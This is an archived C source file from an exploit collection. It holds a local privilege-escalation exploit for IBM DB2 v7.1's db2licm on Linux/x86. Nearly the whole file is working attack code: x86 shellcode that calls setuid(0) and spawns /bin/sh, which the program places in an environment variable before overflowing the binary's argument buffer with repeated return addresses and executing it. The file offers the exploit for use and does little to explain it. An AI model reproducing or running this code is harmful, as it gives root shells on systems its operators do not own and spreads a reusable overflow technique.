home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / IBM-DB2-db2licm.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  101 lines

  1. /* 
  2.     Local Exploit for db2licm 
  3.     IBM db2 v 7.1 Linux/x86 
  4.  
  5.     vulnerability researched by 
  6.     Juan Manuel Pascual Escriba
  7.     pask at uninet.edu
  8.  
  9.  
  10.  */
  11.  
  12.  
  13.  
  14. char sc[]=
  15. "\x31\xc0"      /* begin setuid (0) */
  16. "\x31\xdb"
  17. "\xb0\x17"
  18. "\xcd\x80"
  19.  
  20. "\xeb\x1f"
  21. "\x5e"
  22. "\x89\x76\x08"
  23. "\x31\xc0"
  24. "\x88\x46\x07"
  25. "\x89\x46\x0c"
  26. "\xb0\x0b"
  27. "\x89\xf3"
  28. "\x8d\x4e\x08"
  29. "\x8d\x56\x0c"
  30. "\xcd\x80"
  31. "\x31\xdb"
  32. "\x89\xd8"
  33. "\x40"
  34. "\xcd\x80"
  35. "\xe8\xdc\xff\xff\xff"
  36. "/bin/sh";
  37.  
  38.  
  39. #define STACK_TOP_X86 0xC0000000
  40. #define ALG_MASK 0xfffffff4
  41. #define ADDR 1000
  42. #define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"
  43.  
  44. #define DFL_ALG 4       
  45.  
  46. int main(int arc, char **arv){
  47.         char *argv[3];
  48.         char *envp[2];
  49.         unsigned long sc_address, ba=0;
  50.         unsigned char alg = DFL_ALG;
  51.         unsigned long *p;
  52.         unsigned char *q;
  53.         unsigned int i;
  54.  
  55.  
  56.  
  57.         sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;
  58.         printf("shellcode address = 0x%X\n",sc_address);
  59.  
  60.  
  61.         if( (sc_address & ALG_MASK) != sc_address ) {
  62.                 ba = sc_address - (sc_address & ALG_MASK);
  63.                 printf("adding %d trailing bytes to backward align Shellcode to 0x%X\n", ba,
  64. sc_address & ALG_MASK);
  65.                 sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - ba - 1;
  66.                 printf("new shellcode address = 0x%X\n",sc_address);
  67.         }
  68.  
  69.         envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
  70.         q = envp[0];
  71.         strcpy(q,"pete=");
  72.         q += strlen("pete=");
  73.         memcpy(q,sc,sizeof(sc));
  74.         q += sizeof(sc)-1;
  75.         memset(q,'A',ba);
  76.         q += ba;
  77.         *q = 0;
  78.         envp[1] = 0;
  79.  
  80.         /* build overflowing arvg[2] */
  81.  
  82.  
  83.         printf("using alignment = %d in overflow buffer\n",alg);
  84.  
  85.         argv[0] = DB2LICM;
  86.     argv[1] = "-a";
  87.         argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);
  88.         memset(argv[2],'A',alg);
  89.         p=(unsigned long*)(argv[2]+alg);
  90.         for(i=0;i<ADDR;i++) {
  91.                 *p = sc_address;
  92.                 p++;
  93.         };
  94.         *p = 0;
  95.         argv[3] = 0; 
  96.  
  97.         printf("executing %s ...\n\n",argv[0]);
  98.         execve(argv[0],argv,envp); 
  99.  
  100.  
  101. }